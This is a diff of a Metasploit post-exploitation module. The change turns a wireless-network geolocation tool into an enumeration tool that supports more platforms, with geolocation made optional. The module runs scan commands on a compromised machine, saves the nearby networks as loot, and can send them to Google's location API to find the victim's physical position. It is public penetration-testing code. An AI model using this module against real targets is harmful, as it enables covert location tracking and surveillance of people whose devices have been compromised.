@@ -12,15 +12,21 @@ class Metasploit3 < Msf::Post
12
12
13
13
def initialize ( info = { } )
14
14
super ( update_info ( info ,
15
- 'Name' => 'Multiplatform Wireless LAN Geolocation' ,
16
- 'Description' => %q{ Geolocate the target device by gathering local
17
- wireless networks and performing a lookup against Google APIs.} ,
15
+ 'Name' => 'Multiplatform WLAN Enumeration and Geolocation' ,
16
+ 'Description' => %q{ Enumerate wireless networks visible to the target device.
17
+ Optionally geolocate the target by gathering local wireless networks and
18
+ performing a lookup against Google APIs.} ,
18
19
'License' => MSF_LICENSE ,
19
20
'Author' => [ 'Tom Sellers <tom <at> fadedcode.net>' ] ,
20
- 'Platform' => %w{ osx win linux } ,
21
+ 'Platform' => %w{ osx win linux bsd solaris } ,
21
22
'SessionTypes' => [ 'meterpreter' , 'shell' ] ,
22
23
) )
23
24
25
+ register_options (
26
+ [
27
+ OptBool . new ( 'GEOLOCATE' , [ false , 'Use Google APIs to geolocate Linux, Windows, and OS X targets.' , false ] )
28
+ ] , self . class )
29
+
24
30
end
25
31
26
32
def get_strength ( quality )
@@ -81,6 +87,35 @@ def parse_wireless_osx(listing)
81
87
return wlan_list
82
88
end
83
89
90
+ def perform_geolocation ( wlan_list )
91
+
92
+ if wlan_list . blank?
93
+ print_error ( "Unable to enumerate wireless networks from the target. Wireless may not be present or enabled." )
94
+ return
95
+ end
96
+
97
+ # Build and send the request to Google
98
+ url = "https://maps.googleapis.com/maps/api/browserlocation/json?browser=firefox&sensor=true#{ wlan_list } "
99
+ uri = URI . parse ( URI . encode ( url ) )
100
+ request = Net ::HTTP ::Get . new ( uri . request_uri )
101
+ http = Net ::HTTP ::new ( uri . host , uri . port )
102
+ http . use_ssl = true
103
+ response = http . request ( request )
104
+
105
+ # Gather the required information from the response
106
+ if response && response . code == '200'
107
+ results = JSON . parse ( response . body )
108
+ latitude = results [ "location" ] [ "lat" ]
109
+ longitude = results [ "location" ] [ "lng" ]
110
+ accuracy = results [ "accuracy" ]
111
+ print_status ( "Google indicates that the target is within #{ accuracy } meters of #{ latitude } ,#{ longitude } ." )
112
+ print_status ( "Google Maps URL: https://maps.google.com/?q=#{ latitude } ,#{ longitude } " )
113
+ else
114
+ print_error ( "Failure connecting to Google for location lookup." )
115
+ end
116
+
117
+ end
118
+
84
119
85
120
# Run Method for when run command is issued
86
121
def run
@@ -98,66 +133,87 @@ def run
98
133
99
134
listing = cmd_exec ( 'netsh wlan show networks mode=bssid' )
100
135
if listing . nil?
101
- print_error ( "Unable to generate wireless listing.. " )
136
+ print_error ( "Unable to generate wireless listing." )
102
137
return nil
103
138
else
104
139
store_loot ( "host.windows.wlan.networks" , "text/plain" , session , listing , "wlan_networks.txt" , "Available Wireless LAN Networks" )
105
- wlan_list = parse_wireless_win ( listing )
140
+ # The wireless output does not lend itself to displaying on screen for this platform.
141
+ print_status ( "Wireless list saved to loot." )
142
+ if datastore [ 'GEOLOCATE' ]
143
+ wlan_list = parse_wireless_win ( listing )
144
+ perform_geolocation ( wlan_list )
145
+ return
146
+ end
106
147
end
107
148
108
149
when /osx/i
109
150
110
151
listing = cmd_exec ( '/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s' )
111
152
if listing . nil?
112
- print_error ( "Unable to generate wireless listing.. " )
153
+ print_error ( "Unable to generate wireless listing." )
113
154
return nil
114
155
else
115
156
store_loot ( "host.osx.wlan.networks" , "text/plain" , session , listing , "wlan_networks.txt" , "Available Wireless LAN Networks" )
116
- wlan_list = parse_wireless_osx ( listing )
157
+ print_status ( "Target's wireless networks:\n \n #{ listing } \n " )
158
+ if datastore [ 'GEOLOCATE' ]
159
+ wlan_list = parse_wireless_osx ( listing )
160
+ perform_geolocation ( wlan_list )
161
+ return
162
+ end
117
163
end
118
164
119
165
when /linux/i
120
166
121
167
listing = cmd_exec ( 'iwlist scanning' )
122
168
if listing . nil?
123
- print_error ( "Unable to generate wireless listing.. " )
169
+ print_error ( "Unable to generate wireless listing." )
124
170
return nil
125
171
else
126
172
store_loot ( "host.linux.wlan.networks" , "text/plain" , session , listing , "wlan_networks.txt" , "Available Wireless LAN Networks" )
127
- wlan_list = parse_wireless_linux ( listing )
173
+ # The wireless output does not lend itself to displaying on screen for this platform.
174
+ print_status ( "Wireless list saved to loot." )
175
+ if datastore [ 'GEOLOCATE' ]
176
+ wlan_list = parse_wireless_linux ( listing )
177
+ perform_geolocation ( wlan_list )
178
+ return
179
+ end
128
180
end
129
- else
130
- print_error ( "The target's platform is not supported at this time." )
131
- return nil
132
- end
133
181
134
- if wlan_list . nil? || wlan_list . empty?
135
- print_error ( "Unable to enumerate wireless networks from the target. Wireless may not be present or enabled." )
136
- return
137
- end
182
+ when /solaris/i
138
183
184
+ listing = cmd_exec ( 'dladm scan-wifi' )
185
+ if listing . blank?
186
+ print_error ( "Unable to generate wireless listing." )
187
+ return nil
188
+ else
189
+ store_loot ( "host.solaris.wlan.networks" , "text/plain" , session , listing , "wlan_networks.txt" , "Available Wireless LAN Networks" )
190
+ print_status ( "Target's wireless networks:\n \n #{ listing } \n " )
191
+ print_error ( "Geolocation is not supported on this platform.\n \n " ) if datastore [ 'GEOLOCATE' ]
192
+ return
193
+ end
139
194
140
- # Build and send the request to Google
141
- url = "https://maps.googleapis.com/maps/api/browserlocation/json?browser=firefox&sensor=true#{ wlan_list } "
142
- uri = URI . parse ( URI . encode ( url ) )
143
- request = Net ::HTTP ::Get . new ( uri . request_uri )
144
- http = Net ::HTTP ::new ( uri . host , uri . port )
145
- http . use_ssl = true
146
- response = http . request ( request )
195
+ when /bsd/i
196
+
197
+ interface = cmd_exec ( "dmesg | grep -i wlan | cut -d ':' -f1 | uniq" )
198
+ # Printing interface as this platform requires the interface to be specified
199
+ # it might not be detected correctly.
200
+ print_status ( "Found wireless interface: #{ interface } " )
201
+ listing = cmd_exec ( "ifconfig #{ interface } scan" )
202
+ if listing . blank?
203
+ print_error ( "Unable to generate wireless listing." )
204
+ return nil
205
+ else
206
+ store_loot ( "host.bsd.wlan.networks" , "text/plain" , session , listing , "wlan_networks.txt" , "Available Wireless LAN Networks" )
207
+ print_status ( "Target's wireless networks:\n \n #{ listing } \n " )
208
+ print_error ( "Geolocation is not supported on this platform.\n \n " ) if datastore [ 'GEOLOCATE' ]
209
+ return
210
+ end
147
211
148
- # Gather the required information from the response
149
- if response && response . code == '200'
150
- results = JSON . parse ( response . body )
151
- latitude = results [ "location" ] [ "lat" ]
152
- longitude = results [ "location" ] [ "lng" ]
153
- accuracy = results [ "accuracy" ]
154
- print_status ( "Google indicates that the target is within #{ accuracy } meters of #{ latitude } ,#{ longitude } ." )
155
- print_status ( "Google Maps URL: https://maps.google.com/?q=#{ latitude } ,#{ longitude } " )
156
212
else
157
- print_error ( "Failure connecting to Google for location lookup" )
213
+ print_error ( "The target's platform, #{ platform } , is not supported at this time." )
214
+ return nil
158
215
end
159
216
160
-
161
217
rescue Rex ::TimeoutError , Rex ::Post ::Meterpreter ::RequestError
162
218
rescue ::Exception => e
163
219
print_status ( "The following Error was encountered: #{ e . class } #{ e } " )
0 commit comments